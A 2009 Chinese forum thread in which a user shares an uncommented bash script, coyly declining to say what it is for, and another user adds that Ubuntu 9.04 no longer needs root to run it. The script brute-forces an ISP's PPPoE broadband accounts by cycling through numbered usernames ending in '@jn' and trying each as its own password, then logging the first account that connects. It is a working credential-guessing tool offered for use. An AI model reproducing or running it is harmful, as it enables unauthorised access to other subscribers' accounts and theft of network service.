分页: 1 / 1

分享一个有趣的脚本,对于特定的人或许有用。

发表于 : 2009-06-09 6:29
qdzheng
做什么用处,就不多嘴了。我特意删去了注释,大家自己看了。

代码: 全选

#!/bin/bash
if [ $UID != 0 ]; then
	echo Must be root  to execute this script.
	exit 0
fi
date
for((i=$2;i<=$3;i++)) do
	t="0000$i"
	let len=8-`expr length $1`
	let idx=`expr length $t`-$len+1
	t=`expr substr $t $idx $len`
	t="a$1$t@jn"
	pppd noipdefault defaultroute hide-password persist plugin rp-pppoe.so eth0 noauth user "$t" password "$t" logfile /var/log/ppp-$1-$2-$3.log maxfail 1
	for((dc=0;dc<60;dc++)) do
		sleep 1
		let pc=`ps -A|grep pppd|wc -l`
		if [ $pc -gt 0 ]; then
			#echo $dc
			continue
		fi
		break
	done	
	
	let authfailed=`tail -n 4 /var/log/ppp-$1-$2-$3.log | grep "PAP authentication failed"|wc -l`
	if [ $authfailed -gt 0 ]; then
		echo $t is give up.
		continue
	fi
	date
	let s=`ifconfig | grep ppp | wc -l`
	if [ $s -gt 0 ]; then
		echo $t>>/var/log/success-pppd.log
		echo found it.
		exit 0
	else
		echo 'current mac address is using, break.'
		exit 1 
	fi
done
echo not found.
exit 1

Re: 分享一个有趣的脚本,对于特定的人或许有用。

发表于 : 2009-06-09 8:03
qqttdh
这个9.04都不用root权限了